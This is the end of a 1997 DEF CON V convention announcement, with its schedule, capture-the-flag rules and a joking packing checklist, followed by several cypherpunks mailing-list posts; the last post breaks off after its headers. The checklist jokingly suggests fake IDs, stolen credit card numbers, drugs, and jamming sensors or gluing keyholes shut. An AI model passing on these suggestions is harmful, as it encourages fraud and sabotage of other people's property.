 [> Sameer Parekh - c2.net - Why cryptography is harder than it looks, part
    two.  A look at implementation and production problems facing people and
    companies wishing to develope and distribute strong encryption.

 [> Carolyn P. Meinel - Moderator of the Happy Hacker Digest and mailing
    lists.  She will preside over a seperate Happy Hacker discussion
    pannel that will cover the topics of wether or not "newbies" should have
    information handed to them, or should they learn for themselves?

 [> Dan Veeneman -  Low Earth Orbit satellites are nearing the launch stage,
    and this talk will cover the different systems that are planned and some
    of the services they'll offer.  A bit on GPS that wasn't covered last
    year as well as the ever popular question and answer section.

 [> Hobbit - CIFS is a load of CACA - Random SMB CIFS stuff in Microsfot
    products.

 [> Cyber - An overview and explanation of available crypto-tools.  What
    tools and programs do what, when to use them and on what platforms.
    From someone who has spent lots of time playing around with the
    currently available set of applications.

 [> Keith - Has some experience writing firmware for embedded
    microcontroller applications, and is giving a technical talk on
    applications of microcontrollers in the h/p community.

 [> James Jorasch - Hacking Vegas - How to games the gamers.  From someone
    who used to deal with hotel casino security.  What really goes on?

 SCHEDULE:--------------------------------------------------------------------

 FRIDAY:  Network Setup, Sign in, Informal PGP Keysigning at the "PGP table",
 Lots of Partying.  Capture the Flag Contest Starts at 16:00

 On Friday there will be the demonstrations of the Radio Burst Cannon, a
 "real" rail gun, and an omni-directional cell phone jammer.  Times to be
 announced.

 10:00 -       Doors open, sign in starts
 10:00 -       Movies start in main conference room
 16:00 -       Capture the Flag II starts
 15:30 -       Round up and head off for demonstrations of HERF, and
               rail gun madness.  Nothing may happen, then again..

 23:30 - 23:00 James Jorasch - "Hacking Vegas" how to beat the system in
               Vegas by someone who knows it inside and out.
 23:00 - 03:00 Hacker Jeopardy Starts.

 SATURDAY:

 10:00 - 10:50 Richard Thieme - The Dynamics of Social Engineering.
 11:00 - 11:50 Yobie - Emerging infrastructures made possible by Java.
 12:00 - 12:50 Clovis - issues with security and networked object systems.
 13:00 - 13:50 FBI Computer Crime Squad -
 14:00 - 14:50 Deth Veggie - Global Domination, cDc style.
 15:00 - 15:50 Seven - What the feds think of us.
 16:00 - 16:50 Richard K. -
 17:00 - 17:50 Tom Farley and Ken K. - Toll Fraud in the 90s: Two
               perspectives.

 Saturday Breakout Tech Sessions:

 Koresh     - Novell issues.
 Mudge      - Secure Coding.
 Hobbit     - Why CIFS is CACA.
 Nihil      - NT security issues.
 Wrangler   - Packet Sniffing.
 Keith      - firmware for embedded microcontroller applications.

 24:00 (Midnight) Final rounds of Hacker Jeopardy.

 SUNDAY:

 10:00 - 10:50 Ira Winkler - Industrial Espionage.
 11:00 - 11:50 Sameer - Why cryptography is harder than it looks, part two.
 12:00 - 12:50 Cyber - An overview and explanation of available crypto-tools.
 13:00 - 13:50 Carolyn Meinel - Happy Hacker Panel.
 14:00 - 14:50 Michael Q. - The future of digital cash.
 15:00 - 15:50 Dan Veeneman - Low Earth Orbit satellites.

 Sunday Breakout Tech Sessions:

 Happy Hacker track

 Panel: "The Newbie Experiments"

 Moderator is Carolyn Meinel, author of the Guides to (mostly) Harmless
 Hacking series. Other panel members are:

 - Matt Hinze, editor of the Happy Hacker Digest.
 - Bronc Buster, who runs a Web forum, IRC server and the New Buckaroos Web
   site for his fast-growing band of newbies.
 - Mark Biernacki of Shellonly.com will talk about this new ISP which is
   designed to make it easy for newbies to learn to hack. Just say "Telnet
   port 22!"
 - Jericho, who will hold forth on "Let the newbies fend for themselves."

 We will allow each panel member to open with a brief presentation of his or
 her work, followed by debate first among panel members, followed by Q&A from
 the audience. We expect some intense debate:-)

 Then if the Aladdin hotel hasn't yet been demolished yet by riots, we will
 continue with a series of individual presentations:

 - Jon McClintock, editor of Happy-SAD (Systems Administrator Digest) will
   demonstrate how to install Linux.
 - Bronc Buster will hold forth on the Windows 95 denial of service programs
   his Web site offers.
 - Carolyn Meinel will demonstrate how to read email headers, create, and
   decipher forged email.

 Breakout Tech Sessions:

 16:00          Awards for Capture the Flag
                End of it all, cleanup, etc.  See you all next year!

 EVENTS:----------------------------------------------------------------------

 [>     HACKER JEOPARDY:

        Winn is back with Hacker Jeopardy!!  The third year in the running!
        Can the all-powerful Strat and his crypto-minion Erik, whose force
        cannot be contained, be defeated?!  Will the powers that be allow
        Strat-Meister to dominate this beloved event for the third year in
        a row?!  Can Erik continue to pimp-slap the audience into submission
        with a spoon in his mouth?!?  Only Skill, Time, and booze will tell
        the tail!

        The Holy Cow will help supply the beer, you supply the answers.
        The first round starts at 12 midnight o'clock on Friday and lasts
        until it is done.  The second and secret rounds will happen Saturday
        at midnight.

        6 teams will be picked at random and compete for the final round.
        There can be only one!  Strat's Team, the winners from last year
        will defend if all the members can be found.

 [>     FREE BEER!

        Holy Cow will provide free beer tickets!  If you are over 21 prepare
        to consume "hacker" beers.  Actually it's whatever beer they have on
        tap, but it's the best beer in Las Vegas.  Follow Las Vegas Blvd. up
        until you see the florescent cow with the big sunglasses.  All taxi
        drivers know of this Mecca.  Over 1,000 free beers in all!

 [>     BLACK AND WHITE BALL:

        We've talked it over, and the verdict is in.  For the last two years
        at DEF CON there has been a sort of unspoken Saturday night dress up
        event.  People have worn everything from party dresses and Tuxedoes
        to AJ's ultra pimp Swank outfit with tiger print kilt.  This year it
        is official.  Wear your cool shit Saturday night, be it gothic or PVC
        vinyl or Yakuza looking black MIBs.  No prizes, just your chance to
        be the uber-bustah pimp.

 [>     THE TCP/IP DRINKING GAME:

        If you don't know the rules, you'll figure 'em out.

 [>     CAPTURE THE FLAG:


                  ALL NEW, ALL IMPROVED, MORE CONFRONTATIONAL,
                         1997 ILLUMINATI INVITATIONAL,
                        CAPTURE THE FLAG, HACKER STYLE.

      The goal is to take over everybody else's server while protecting your
      own. To cut down on lag time and federal offences we're providing a
      playing field of 5 flag-machine networks connected by a big router in
      the middle.

      The rules:

      1) No taking the network down for more than 60 seconds.
      2) No taking any flag machine (including your own) down for more than
         3 minutes.
      3) In order to be counted in the game, a team's flag machine must
         - be directly connected to the network;
         - have a text file flag on the machine readable by at least 2
           accounts,
         - keep at least 3 *normal* services running in a way that a
           client could actually get their work done using them.       
         - run a web server if technically possible.
      4) No goonery/summoning of elder gods/Mickey Finns/physical
         coercion... you get the idea.  ( You had the idea, but we're
         trying to prevent you from using it. )


      The field of play :
      Each network will have a "server" of some kind on it, called the flag
      machine. At the start of the game, these servers will be stock
      installations a lot like what you'd see on the average academic/secret
      cabal/military/megacorp  network. Each of these machines  will have a
      PGP private key, named root.flag, and a web server.

      There will also be a machine to provide DNS, called the scoreboard.

      Teams:
      Teams can be one human or more. In order to be a team, you have
      to generate 20 256bit PGP key pairs, have a DEFCON goon pgp-sign
      them and put the public keys on the scoreboard webserver. We'll
      generate a hundred key pairs in advance, so the first five teams can
      just grab a floppy disk (if they're trusting).

      To prove that you've hacked a flag machine, PGP - sign a message with
      the root.flag from the hacked machine, then with one of your own.
      Post the doubly-signed message on the scorekeeper  web server, and
      you've captured that flag (and invalidated the captured root.flag).

      When you've captured a flag, decide between conquest and
      condescension: either take over the server yourself, or hand it back
      to its not-so-eleet owners. To conquer, put one of your PGP private
      keys on the captured server to become the next root.flag.  (Of
      course, you have to properly secure the server to maintain your new
      territory.)

      To condescend, just wait until the original owners see their shame
      spread across the scoreboard. (It would sure be a pity if
      they had to put up a new key before they figured out how you got in
      last time, wouldn't it?)

      Two Ways to Win:

      #1 EVIL EMPIRE: Whoever has the most servers responding with their
         teams' private keys at the end wins.

      #2 PIRATE: Fabulous prizes will also be given to whoever racks up the
         highest total number of flags captured.

      Rough game mechanics (why is everyone so untrusting?):
      Once every 5 minutes or more, the scoreboard machine will post a
      plaintext challenge.  Every team that claims to own a server has to
      PGP-sign that challenge with the private key registered for that
      server and post the signed version on their machine. If a server
      can't respond within 3 minutes, then nobody owns it, and it's fair
      game to be taken back over by the goons.

      Specific rules will be available in print at DefCon before the game
      begins.

      This was a message from The People


 [>     QUAKE COMPETITION:

        http://www.ctive.com/ntech/defcon.htm

        This year knightPhlight contacted me and wanted to organize a single
        elimination Quake competition to find out who that badest ass 'mo 'fo
        is.  Check out the web site to get the rules, sign up, or to
        donate a computer the greater good of destruction.

        It is IMHO that Quake by id Software rules 3D action gaming. But who
        rules Quake?  We'll find out this July 11th-13th at the DefCon
        Conference in Las Vegas. This isn't going to be a networked game
        intent on quickly eliminating as many players as possible in a single
        round. Rather, one-on-one games will be played to absolutely
        determine who the best really is.

        Of course, you already know your the best so why would you feel
        obligated to prove it? Because we'll give the first place winner
        $750. Now, being the wily person you are, I bet you would like to
        know where I got the money for the prizes. It'll come from your
        registration fee of $7.50.  Any half wit can do the math and see the
        10,000% return for the winner. But just for entering you'll be in a
        drawing for really kewl stuff. If you don't think its kewl you can
        just give us your email address and we'll be happy to send you a
        couple hundred thousand messages explaining why the prizes are great.

 [>     NET CONNECTION AND TOPOLOGY:

        DefCon 5 Network Plan (v.99)

        Telecommunications
        ------------------
        Media Type: T1 ESF/B8ZS (not D4/AMI)
        Service Provider: Las Vegas Digital Internet
        Telco: Sprint

        Equipment needed Equipment on-hand
        ---------------- ----------------------------------------------
        CSU/DSU Verilink AS2000's with NCC 2301 cards (JC)
        Router Cisco 2501 (Lock)
        Net Admin server (Lock )
        10bT Hubs 16-port from Lock - need more to populate the room
        10bT Cable (miles) Everybody bring their own - will need some extra
        to link hubs

        Network Services:
        -----------------
        Web Server
        CU-reflector
        RealAudio Server
        IRC server?

        This year we are pre-building many of the network boxes so the net
        can go up first thing Friday.  It looks like we will have a T1 line
        and we will break it out to 10 BaseT hubs.  If you want in on the
        network bring along the appropriate cables and adapters.

        More Net Madness!  The T1 bandwidth will allow us to do the
        following cool stuff:

        - Have several color quickcams and a CU-SeeMe reflector site set
        up so people not at the con can check out what's going on.  During
        the convention check out the DEF CON web site to get the location
        of the reflector site.  You should get and install the software
        needed to view CU-SeeMe streams in advance!

        - Have a RealAudio server set up to stream the speakers talks to
        those who can not attend.

        - Potentially play a competitive multi user game(s) over the net.

        NOTE!  If you wish to participate interactively with the convention
        please e-mail me and we can coordinate something.  It would be
        great to get people from all over the world involved.

 [>     5th ANNUAL SPOT THE FED CONTEST:

        The ever popular paranoia builder.  Who IS that person next to you?

        "Like a paranoid version of pin the tail on the donkey, the
        favorite sport at this gathering of computer hackers and phone
        phreaks seems to be hunting down real and imagined telephone
        security and Federal and local law enforcement authorities who the
        attendees are certain are tracking their every move.. .. Of course,
        they may be right."
                                                        - John Markhoff, NYT

        Basically the contest goes like this:  If you see some shady MIB
        (Men in Black) earphone penny loafer sunglass wearing Clint Eastwood
        to live and die in LA type lurking about, point him out.  Just get
        my attention and claim out loud you think you have spotted a fed.
        The people around at the time will then (I bet) start to discuss the
        possibility of whether or not a real fed has been spotted.  Once
        enough people have decided that a fed has been spotted, and the
        Identified Fed (I.F.) has had a say, and informal vote takes place,
        and if enough people think it's a true fed, or fed wanna-be, or
        other nefarious style character, you win a "I spotted the fed!"
        shirt, and the I.F. gets an "I am the fed!" shirt.

        NOTE TO THE FEDS:  This is all in good fun, and if you survive
        unmolested and undetected, but would still secretly like an "I am
        the fed!" shirt to wear around the office or when booting in doors,
        please contact me when no one is looking and I will take your
        order(s).  Just think of all the looks of awe you'll generate at
        work wearing this shirt while you file away all the paperwork
        you'll have to produce over this convention.  I won't turn in any
        feds who contact me, they have to be spotted by others.

        DOUBLE SECRET NOTE TO FEDS:  This year I am printing up extra "I
        am the Fed!" shirts, and will be trading them for coffee mugs,
        shirts or baseball hats from your favorite TLA.  If you want to
        swap bring along some goodies and we can trade.  Be stealth about
        it if you don't want people to spot you.  Agents from foreign
        governments are welcome to trade too, but I gotta work on my mug
        collection and this is the fastest way.

 [>     RAIL GUN DEMONSTRATION: (Friday)

        On Friday afternoon there will be a demonstration of a hand held
        rail gun.  This garage project should be able to fire a graphite
        washer very, very fast.

 [>     OMNIDIRECTIONAL CELL PHONE JAMMER DEMONSTRAITON: (Friday)

        Another interesting creation to be tested on Friday in the desert.
        Come along and watch you cell phone antenna explode with power!
        See control channels crumble before you.

 [>     RADIO BURST CANNON DEMONSTRATION: (Friday)

        While not quite a HERF gun, this should come close.  The RBC should
        be able to produce up to or less than one MegaWatt for up to or less
        than one second.  What will this do?  Who knows!  Come and find out.
        Obviously the above demonstrations will take place away from the
        local hospitals and casinos out in the desert someplace, so be
        prepared.


 HOTELS:----------------------------------------------------------------------

 [> Book your room NOW!!!  We have a block of rooms, but it is first come,
 [> first served.  Rooms get released about one month before the convention.
 [> Book by June 9th or risk it.  The room rates are quite cool this year.


        PRIMARY HOTEL: The Aladdin Hotel and Casino
        3667 Las Vegas Blvd. South, Las Vegas, Nevada
        Built in 1966 it is one of the oldest hotels in Las Vegas that
        hasn't been blown up to make room for newer ones.  It is quite nice
        and has Tennis courts, two swimming pools, Chinese, Vietnamese and
        Korean.  A Seafood and steakhouse, Joe's Diner and a 24 hour coffee
        shop too.  It's located next to the MGM Theme park on the strip.

        PHONE: 1-800-634-3424, reference the "DC Communications conference"
        for reservations.  702-736-0222

        RATES: Single & Double rooms are $65 in the Garden section, $85 for
        the Tower.  Suites are $250 to $350.  All costs are plus 8% room tax.
        Rollaway beds are available for an additional $15 a night.


 STUFF IN VEGAS:--------------------------------------------------------------

 URLs

         Listings of other hotels in Las Vegas, their numbers, WWW pages, etc.
         http://www.intermind.net/im/hotel.html
         http://vegasdaily.com/HotelCasinos/HotelAndCasinos/CasinoList.html

 VENDORS / SPONSORS / RESEARCH:-----------------------------------------------

         If you are interested in selling something (shirts, books,
         computers, whatever) and want to get a table contact me for costs.

         If you have some pet research and you want to have the participants
         fill out anonymous questioners please contact me for the best way
         to do this.

         If you want to sponsor any event or part of DEF CON V in return for
         favorable mentions and media manipulation please contact me.  For
         example in the past Secure Computing has sponsored a firewall
         hacking contest.

 MORE INFO:-------------------------------------------------------------------

  [>     DEF CON Voice Bridge (801) 855-3326

         This is a multi-line voice bbs, VMB and voice conference system.
         There are 5 or so conference areas, with up to eight people on each
         one.  Anyone can create a free VMB, and there are different voice
         bbs sections for separate topics.  This is a good neutral meeting
         place to hook up with others.

         The Voice bridge will be changing numbers soon, but the old number
         will refer you to the new location.  The new spot won't suffer from
         "Phantom" bridges!

  [>     MAILING LIST

         send emial to majordomo@merde.dis.org and in the body of the message
         include the following on a separate line each.

         subscribe dc-stuff

         dc-announce is used for convention updates and major announcements,
         dc-stuff is related to general conversation, planning rides and
         rooms, etc.

  [>     WWW Site http://www.defcon.org/

         Convention updates and archives from previous conventions are housed
         here.  Past speakers, topics, and stuff for sale.  Also a growing
         section of links to other places of interest and current events.

  [>     The Third Annual California Car Caravan to DEF CON!
         http://www.netninja.com/caravan

         There are also some resources (links to other web sites and text
         files) generally related to DefCon--not specifically the California
         Caravan. These resources are available at:
         http://www.netninja.com/caravan/resources.html

  [>     The DEF CON V Car ride sharing page:  Use this site to arrange ride
         sharing to the convention from all over North America.  If you can
         spare a seat for someone, or need to leech a ride go to the ride
         sharing page set up by Squeaky.

         http://garbage.bridge.net/~defcon/defcon.html

  [>     EMAIL dtangent@defcon.org

         Send all email questions / comments to dtangent@defcon.org.  It has
         been said that my email is monitored by various people.  If you want
         to say something private, please do so with my pgp key (At the
         bottom of this announcement)  I usually respond to everything, if
         not I'm swamped or had a system problem.

  [>     GIVE ME MONEY! SNAIL MAIL PRE-REGISTRATION

         Send all written materials, pre-registrations, etc. to:

         DEF CON, 2709 E. Madison, Seattle WA, 98112
         If you are pre-registering for $30 please make payable to DEF CON
         and include a name to which you want the registration to apply.
         I don't respond to registrations unless you request.

 DO YOU WANT TO HELP?---------------------------------------------------------

         Here is what you can do if you want to help out or participate in
         some way:

         Donate stuff for the continuous giveaways and the various contests.
         Got extra ancient stuff, or new cool stuff you don't use anymore?
         Donate it to a good cause!  One person was very happy over winning
         an osborne "portable" computer.

         ORGANIZE sharing a room or rides with other people in your area.
         Join the mailing list and let people know you have floor space or
         some extra seats in your car.  Hey, what's the worst that can
         happen besides a trashed hotel room or a car-jacking?

         CREATE questions for hacker jeopardy (you know how the game is
         played) and email them to winn@infowar.com.  No one helped out last
         year, so this year let's try.  Everything from "Famous narks" to
         "unix bugs" is fair game.

         BRING a machine with a 10bt interface card, and get on the local
         network, trade pgp signatures, etc.

 FINAL CHECK LIST OF STUFF TO BRING:------------------------------------------

         From: Enigma

          Here is a list of items to bring to DefCon.  These are only
         suggestions.  Your mileage may vary.  :)

         Items to bring to DefCon
         ~~~~~ ~~ ~~~~~ ~~ ~~~~~~
         Clothing
         - Comfortable shirts and pants/shorts
         - Socks, underwear, etc
         - Bathing suit
         - Toiletries (deodorant, toothbrush, comb, hair spray,..., giant
           tub of hair grease, Oxy pads, etc)
         - An extra towel (don't leave home without it.  Anyway, doesn't
           it always seem that you run out of clean towels in the
           bathroom?)
         - Something cool, hip, pimp-o-matic, or ninja-riffic to wear
           Saturday night at the Black and White Ball
           You can skip the deodorant and extra clothing if all you are going
           to do is play "Magic: The Gathering" and "Quake."  Everyone else
           does.

         Stuph
         - Your shades.  Vegas is hot.  The sun is bright.  'Nuff said.
           (If you wear eye glasses, I hear the clip-on, flip-up sunglasses
           are quite the fashion statement)
         - Sunscreen of at least SPF 100.  After spending hundreds of hours
           in front of the monitor, who needs the sun to ruin their ghostly
           white tan?
         - A hat--preferably with a cool logo or catchy phrase like "Gandalf
           Routers," "Netscape," "Microsoft [with "sucks" scrawled below it
           in permanent marker]", "I [heart] [insert government institution:
           Cops, Feds, etc]"...you get the idea
         - Note book, palmtop, or laptop to take notes on during the speeches
         - [Micro]casette recorder to record the speeches (or everyone
           getting drunk in your room Saturday night, not knowing what they
           are saying, with no hope of remembering it...excellent blackmail
           material!)
         - Camcorder (see above...<>)
         - Digital camera--for all of the above reasons PLUS you can
           instantly upload the images through the T1 onto the net
         - Fake ID for all of you under 18/21
         - Fake ID for everyone else, if you're planning something illegal
         - Your best jokes (Nooooo!  Not the superman joke!  Not the pink
           joke)
         - Your best hacking stories...these are all about something "your
           friend" did, aren't they?  You wouldn't admit to doing anything
           illegal, now, would you?
         - Someone else's--oops, I mean "your" credit card numbers

         Fun
         - Your drug(s) of choice -- From caffeine to pot to speed to acid
         - Zippo and extra fuel.  And while you're at it, put an extra flint
           (assuming you can find one in the back of your junk drawer) in
           the bottom.  You always run out at just the wrong time.
         - Extra smokez (Splurge: get some cigars or cloves for the weekend)
         - Leather
         - Handcuffs and chains, nipple clamps, etc.
         - Saran wrap, duct tape, electrical tape, gaffer's tape
         - Candles (the drippy kind)
         - Incense
         - Oils
         - Your copy of "The Pocket Kama Sutra" (ISBN 0-7894-0437-0)
         - That corn starch and water "slime" that Light Ray (I believe) and
           others believed to be the ultimate thing, several DefCon's back.

         Tech
         - Laptop w/ Ethernet card
         - Extra laptop battery
         - A zip drive with a stack of disks containing all your soooper
           k-rad haxing utilities and g-files
         - 10bt/10b2 cabling
         - A small hub
         - You did remember to put a packet sniffer on your zip disk, right?
           Just checking.
         - Every power cord you could possibly need
         - A serial cable with a plethora of adapters so you can get each
           end to be male/female, 9pin/25pin, null-modem/straight
         - Cable to connect the above mentioned digital camera to the laptop
         - Scanner (modded, of course)
         - Frequency counter (I hear the "Scout" is pretty good)
         - HAM radio.  Any band, any frequency.  You didn't modify it to
           transmit on arbitrary frequencies, did you?  Naughty monkey!
         - An assortment of tuned antennas
         - That zip disk has the FCC frequency allocations on it, right?
         - Your uber-elite organizer (the DOS based HP palmtops are quite
           cool) to collect handles and email addresses from people
         - High energy weapons ("Is that an unlicensed nuclear accelerator
           on your back?"  "No, it's just a HERF gun."  "Oh.")
         - Laser pointer (don't get kicked out of the hotel again, youz
           doodz)
         - Your "white courtesy phone" that you stole from the Monte Carlo
           last year
         - A microbroadcasting station with plenty of tuneage
         - Your lock picks or lock picking gun
         - A pocket-sized tool kit containing a modular screwdriver and
           plenty of attachments (flathead, philips, torx, hex, etc)
         - A pocket knife, pliers and wire cutters--or alternatively a
           Leatherman's tool
         - Hell, while you're at it: why not some bring bolt cutters, a
           sledge hammer, and a hack saw?
         - Telephone handset with alligator clips.  Or, if you're uber-
           31337, you have a lineman's butt set (with the serial number
           and telco logo filed off)
         - Bubble gum or epoxy putty--anything maleable and hardens.
           This is good for fixing hoses under the hood of your car.
           It's also useful to jam mechanical sensors (What would happen
           if the microwave always though it's door was open?  Or if the
           elevator always thought there was someone blocking the path
           of the door?  Wouldn't hotel security be pissed if they
           couldn't get into their security room because someone jammed
           a toothpick into the keyhole with krazy glue?)
         - An alabi
         - Spam
         - Multimeter
         - Cordless electric soldering iron
         - Parts box

 MY PGP KEY:------------------------------------------------------------------

 -----BEGIN PGP PUBLIC KEY BLOCK-----
 Version: 2.6.1

 mQCNAy6v5H8AAAEEAJ7xUzvdRFMtJW3CLRs2yXL0BC9dBiB6+hAPgBVqSWbHWVIT
 /5A38LPA4zqeGnGpmZjGev6rPeFEGxDfoV68voLOonRPcea9d/ow0Aq2V5I0nUrl
 LKU7gi3TgEXvhUmk04hjr8Wpr92cTEx4cIlvAeyGkoirb+cihstEqldGqClNAAUR
 tCZUaGUgRGFyayBUYW5nZW50IDxkdGFuZ2VudEBkZWZjb24ub3JnPg==
 =ngNC
 -----END PGP PUBLIC KEY BLOCK-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmarket@toad.com
Date: Tue, 1 Jul 1997 21:36:18 +0800
To: cypherpunks@toad.com
Subject: Turn Your Debts Into Real Wealth!!
Message-ID: <19970701131833.ABE1836@Default>
MIME-Version: 1.0
Content-Type: text/plain



Hello,_Morons,


TURN EVERY $1 OF YOUR DEBT
INTO $11.83 OF REAL WEALTH!

This program *** from a two-time Inc 500 company ***
is sweeping the country, because it does the one thing 
every network marketer is working for. It gets them to
debt-free (including their mortgage) financial independence 
in the shortest possible time.

Isn't achieving financial independence the reason you 
became interested in network marketing in the first place?
Then why not check out the network marketing program where
the product itself can make you financially independent?

For a FREE information package call the recorded message
at (303) 830-3755 or (800) 211-7097 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Wed, 2 Jul 1997 01:52:23 +0800
To: declan@well.com>
Subject: Re: Marc Andreessen on encryption and CDA
In-Reply-To: <3.0.32.19970701084404.006d101c@best.com>
Message-ID: <3.0.2.32.19970701133757.035d5510@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 08:49 AM 7/1/97 -0700, geeman@best.com wrote:
>I suppose that's why US displays the greatest income disparity between rich
>and poor of
>any of the industrialized nations?   

We don't know if this is true because no statistical series captures all 
"wealth."  The underground economy here is supposedly 15% but higher in much 
of Europe.  Also no country includes public benefits in income calculations 
although they are income and the higher US medical costs substantially 
increase the total income of those receiving Medicaid.  Those comparisons are 
suspect because too much income is excluded from the calcs.

>Why some 10 or 20 billionaires
>collectively own more
>wealth than some 20% of the world's population? Or were you being sarcastic?

They don't.  They own more "securities."  If you total the discounted 
(present) value of the future income stream of 20% of the earth's population 
(adjusting for the probable massive income increases of the next 20 years of 
extreme boom times), and you count the value of personal property it comes to 
more than the current wealth of the top billionaires who after all are 
apparently worth less than a $trillion or two collectively.

But I don't know what this all has to do with encryption policy, however.

DCF 
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM7lAc4VO4r4sgSPhAQEkSQP/Rs+XzPrzUQptgBWK+LLb+vmAMPcaBHWE
Ww1PsYGqwo4W0Mlse0ynCGZfZdiIx+tlDbWbqYtvisNqeIYK8Qcn8K7b63ytZ1aN
OPM/DshwQ0bpgQMoTXpMwGnZmB9e4/LGriZXMSmk+fkZvO2flmVuUMj+Vao+Bs+N
xLZKAHYvXWw=
=F09z
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 2 Jul 1997 02:19:23 +0800
To: cypherpunks@toad.com
Subject: The Walsh Report
Message-ID: <1.5.4.32.19970701174406.0067b530@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks to Anonymous (V) we offer the full Walsh report for the
Australian government on encryption policy which critiques the 
validity of key escrow, as described in the news report posted by 
John Gilmore yesterday. It's a big one, 280K so we offer three 
versions:

1. Full report: 

     http://jya.com/walsh-all.htm  (280K)

2. Full report Zipped: 

     http://jya.com/walsh-all.zip  (93K)

3. Separate files for TOC and foreword, 6 chapters and annex: 

     http://jya.com/walsh-rep.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dead Lucky" <dl@dev.null>
Date: Wed, 2 Jul 1997 04:40:18 +0800
To: cypherpunks@toad.com
Subject: Re: Has your privacy been invaded? Protected? Both?
Message-ID: <199707012007.OAA28328@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



geeman@best.com wrote:

> I have been fairly careful and very jealous of my privacy; and then my name
> and home address showed up on one of the name-search pages.  I don't know if
> it's still there, and I don't remember the link.  But then the Similac
> marketing Geniuses sent me something in the mail that even included the due
> date of my expected child!

  And the predicted date of the death of your child is January 19,
2015, according to the Dead Lucky Assassination Bot statistics.
  The good news is that there is only $1.48 bet on this eventuality,
so the chances are slim that anyone is going to go out of their way
to collect (unless you are such a bad father that your child turns
out to be a total asshole).

D. Lucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 1 Jul 1997 23:59:24 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <Pine.3.89.9706301850.A28965-0100000@netcom2>
Message-ID: <Pine.LNX.3.91.970701144253.357B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> The idea is that the criminal has received their punishment once released 
> from prison. Any further infringements on the person's rights are
> unacceptable. That includes the person's Natural Right to acquire 
> fully-automatic weapons, should he so desire. [BTW, the nature of the crime 
> committed is irrelevant].

Not so, I believe Kent pointed out the US statute that describes 
unreasonable punishment as being "cruel and unusual", banning ownership 
of firearms as part of the punishment for a violent crime seems perfectly 
reasonable to me, but foo on that anyway: punishment should fit the 
crime, if you commit murder or rape or any one of a number of such 
serious crimes I see no reason why you shouldn`t be punished cruelly.

I can see the point of view which accepts serving of sentence as being 
the end of punishment, and I do not accept a ban on firearms as being 
implicit in the commision of a felony, but if a court explicitly states 
that part of the punishment should be a X year or lifetime ban I can 
accept that.


        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 2 Jul 1997 00:44:36 +0800
To: stewarts@ix.netcom.com
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970630095754.0075943c@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.91.970701144702.357C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Adam Back, by contrast, said he'd be quite pleased if some US cypherpunk
> were to physically mail him a copy of the disk, which he'd pay for.
> While that's arguably violating export laws, it's not ripping anyone off.

I don`t believe in copyright in general, but I would be perfectly happy 
to pay a US cpunk to send me a copy of this CD-ROM, *BUT*, physically 
mailing a copy like this is more risky for the US Cpunk. I don`t believe 
in ripping people off, and rarely copy copyrighted material, but I don`t 
hold with copyright laws and see nothing wrong with this being posted.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 1 Jul 1997 23:53:01 +0800
To: Rabid Wombat <wombat@mcfeely.bsfs.org>
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <Pine.BSF.3.91.970630165630.24139F-100000@mcfeely.bsfs.org>
Message-ID: <Pine.LNX.3.91.970701145420.357D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> > however, banning ownership of guns for any felony is definitely not at 
> > all reasonable.
> > 
> 
> It beats being banned from possessing weapons for living in the U.K.

I don`t know: most UK citizen-units are guilty of criminal stupidity, 
maybe this implies a ban on ownership of guns? ;-)...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 1 Jul 1997 21:32:20 +0800
To: cypherpunks@toad.com
Subject: re:mailing list
Message-ID: <199707011318.PAA01313@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



When did it become acceptable to be so stupid???  How many systems-experts do you know who use
AOL frequently.

OOh...I forgot about that new section, PGP For Dummies...(chuckle)

C





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Tue, 1 Jul 1997 12:24:49 +0800
To: alano@teleport.com
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
Message-ID: <86772952415649@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain



